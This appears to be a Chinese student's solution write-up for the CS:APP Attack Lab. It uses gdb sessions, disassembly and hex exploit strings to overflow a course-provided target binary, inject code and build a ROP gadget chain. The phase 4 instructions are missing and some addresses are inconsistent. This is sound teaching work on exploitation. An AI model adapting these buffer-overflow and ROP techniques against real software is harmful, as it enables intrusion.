目录
最近学校布置了attacklab的相关实验作业,每个人定制一个target,可以利用objdump,gdb等作为辅助工具进行实验。
phase1
000000000040176b <getbuf>:
40176b: 48 83 ec 38 sub $0x38,%rsp
40176f: 48 89 e7 mov %rsp,%rdi
401772: e8 7e 02 00 00 callq 4019f5 <Gets>
401777: b8 01 00 00 00 mov $0x1,%eax
40177c: 48 83 c4 38 add $0x38,%rsp
401780: c3 retq
000000000040192c <test>:
40192c: 48 83 ec 08 sub $0x8,%rsp
401930: b8 00 00 00 00 mov $0x0,%eax
401935: e8 31 fe ff ff callq 40176b <getbuf>
40193a: 89 c2 mov %eax,%edx
40193c: be e8 2f 40 00 mov $0x402fe8,%esi
401941: bf 01 00 00 00 mov $0x1,%edi
401946: b8 00 00 00 00 mov $0x0,%eax
40194b: e8 d0 f3 ff ff callq 400d20 <__printf_chk@plt>
401950: 48 83 c4 08 add $0x8,%rsp
401954: c3 retq
0000000000401781 <touch1>
思路:
这里 getbuf开辟了56个字节的栈空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址touch1即可。
故答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00// 以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
81 17 40 00 00 00 00 00//touch1地址
phrase2
思路:
Level2要求进入Touch2函数,且输入的字符串要与Cookie文件中的字符串相匹配,根据文件中的信息,得知首先需要把字符串送到寄存器%rdi中,再进入touch2函数,即可通过Level2。 所以,指令应该包括以下两个部分:
-
把字符串cookie mov进%rdi中
-
进入touch2
编写以下汇编代码:
起始地址为40176b,所以需要在0x40176f处设置断点(即还没运行0x40176f),查看栈顶指针寄存器%rsp的值。
输入命令:gdb ctarget 调试, b *0x40176f设置断点,r运行,info r rsp查看%rsp的值
如下:
00000000004017ad <touch2>:
4017ad: 48 83 ec 08 sub $0x8,%rsp
4017b1: 89 fa mov %edi,%edx
4017b3: c7 05 3f 2d 20 00 02 movl $0x2,0x202d3f(%rip) # 6044fc <vlevel>
4017ba: 00 00 00
4017bd: 39 3d 41 2d 20 00 cmp %edi,0x202d41(%rip) # 604504 <cookie>
4017c3: 75 20 jne 4017e5 <touch2+0x38>
4017c5: be 48 2f 40 00 mov $0x402f48,%esi
4017ca: bf 01 00 00 00 mov $0x1,%edi
4017cf: b8 00 00 00 00 mov $0x0,%eax
4017d4: e8 47 f5 ff ff callq 400d20 <__printf_chk@plt>
4017d9: bf 02 00 00 00 mov $0x2,%edi
4017de: e8 57 04 00 00 callq 401c3a <validate>
4017e3: eb 1e jmp 401803 <touch2+0x56>
4017e5: be 70 2f 40 00 mov $0x402f70,%esi
4017ea: bf 01 00 00 00 mov $0x1,%edi
4017ef: b8 00 00 00 00 mov $0x0,%eax
4017f4: e8 27 f5 ff ff callq 400d20 <__printf_chk@plt>
4017f9: bf 02 00 00 00 mov $0x2,%edi
4017fe: e8 f9 04 00 00 callq 401cfc <fail>
401803: bf 00 00 00 00 mov $0x0,%edi
401808: e8 53 f5 ff ff callq 400d60 <exit@plt>
(gdb) b *0x40176f
Breakpoint 1 at 0x40176f: file buf.c, line 14.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/shxwei/target11/ctarget -q
Cookie: 0x648e8cd0
Breakpoint 1, getbuf () at buf.c:14
14 in buf.c
(gdb) info r rsp
rsp 0x55619178 0x55619178
故答案:
48 c7 c7 d0 8c 8e 64 68
ad 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)以致溢出。
78 91 61 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(%rsp)。
phase3
思路:
任务是让 CTARGET 执行 touch3 的代码,而不是返回测试。 您必须让它在 touch3 看来就像您传递了 cookie 的字符串表示作为其参数一样。所以操作指令应包括:
1.让%rdi指向字符串cookie的起始地址。
2.跳转到touch3函数。
相关代码及gdb调试如下:
000000000040192c <test>:
40192c: 48 83 ec 08 sub $0x8,%rsp
401930: b8 00 00 00 00 mov $0x0,%eax
401935: e8 31 fe ff ff callq 40176b <getbuf>
40193a: 89 c2 mov %eax,%edx
40193c: be e8 2f 40 00 mov $0x402fe8,%esi
401941: bf 01 00 00 00 mov $0x1,%edi
401946: b8 00 00 00 00 mov $0x0,%eax
40194b: e8 d0 f3 ff ff callq 400d20 <__printf_chk@plt>
401950: 48 83 c4 08 add $0x8,%rsp
401954: c3 retq
(gdb) b *0x401930
Breakpoint 1 at 0x401930: file visible.c, line 92.
(gdb) r -q
Starting program: /home/shxwei/target11/ctarget -q
Cookie: 0x648e8cd0
Breakpoint 1, test () at visible.c:92
92 visible.c: No such file or directory.
(gdb) info r rsp
rsp 0x556191b8 0x556191b8
说明在test中会push数据进入堆栈,所以需要注意cookie字符串的存放位置,因为覆盖了保存 getbuf 使用的缓冲区的内存部分,所以可以不考虑把cookie字符串放到56个字符的堆栈里面,那56个字符用来存放命令后填满即可。所以cookie字符串可以考虑放到get的栈帧中,即越过56个字符的上方,因为不再返回了,所以那部分就不会被触碰到。
将cookie字符串存放在栈顶+8字节的位置(即cookie字符串的起始地址),再把这个 cookie字符串的起始地址存放进%rdi中。在Level 2中已经得到栈顶指针%rsp的初始值为0x556191b8,所以cookie字符串的起始地址为0x556191b8;并查看touch3函数的地址为4018be。
故答案:
48 c7 c7 b8 91 61 55 68
be 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(56字节)从而溢出
78 91 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址(上题的%rsp)
36 34 38 65 38 63 64 30 00
//cookie值0x648e8cd0的ACSII码(每个字符相等于一个char,例:字符6对应0x36)
phase4
思路:
在Level 2中提到解法为:
1.定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
2.第一个参数是在寄存器%rdi中传递的。
3.注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。
所以首先需要popq %rdi,把cookie存放到%rdi中,然后再利用retq返回到touch2。通过搜索mov指令,还有对于popq对应的机器码,其中 0xc3 = retq,0x90 = nop, 找到了两个对这个实验有用的指令且有效的指令(不唯一)。
完成目标需要的操作指令为:
phase5
思路:
这一阶段要求对 RTARGET 进行 ROP 攻击,以使用指向 cookie 字符串表示的指针调用函数 touch3。 要解决阶段5,可以在rtarget中由函数start_farm和end_farm划分的代码区域中使用小工具,且至少8个。因为有了栈随机性,我们不能指定指针确切位置了,但是可以通过 相对位置 + 栈顶的位置,先获取到栈顶的位置,然后加上我们放置距离栈顶的相对位置,得到cookie字符串起始地址放置的位置。
推导顺序:
-
首先需要 获取栈顶的位置,查看Source = %rsp的mov指令机器码,查找与之相关联的寄存器。
-
发现movq %rsp,%rax可用,则先找movq %rax,%rdi,因为最终需要%rdi来存放 字符串的指针开始地址
-
因为lea命令可以起到add和mov的作用,lea (%rdi,%rsi,1),%rax 中%rsi可以作相对位置偏移的量,这个偏移量由最终栈顶离字符串的相对偏移位置来确定,%rdi里面存%rsp刚开始的栈顶位置,由上一步movq %rsp,%rax,movq %rax,%rdi得到,最后的偏移位置在%rax中,最后只需要movq %rax,%rdi即可达到目的
-
现在需要把偏移量放到%rsi中,因为没有pop %rsi,所以只能找与mov %rsi相关的指令
-
在farm部分只找到movl %ecx,$esi,需要把%eax与%ecx联系起来,因为只有%rax可以pop(可以指定值),所以逆向寻找movl %ecx,得到逆向顺序:%eax -> %edx -> %ecx -> %esi。
整理代码如下:
由于可能存在无效指令,需要较多分析farm汇编代码。
故答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //56个字节溢出
1a 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
6a 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
8d 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant偏移值*/
6f 1a 40 00 00 00 00 00 /* mov %eax,%edx */
a6 19 40 00 00 00 00 00 /* mov %edx,%ecx */
1f 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
96 19 40 00 00 00 00 00 /* add_xy */
6a 19 40 00 00 00 00 00 /* mov %rax,%rdi */
be 18 40 00 00 00 00 00 /* touch3 */
36 34 38 65 38 63 64 30 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00 00 00 00 00 00 00 00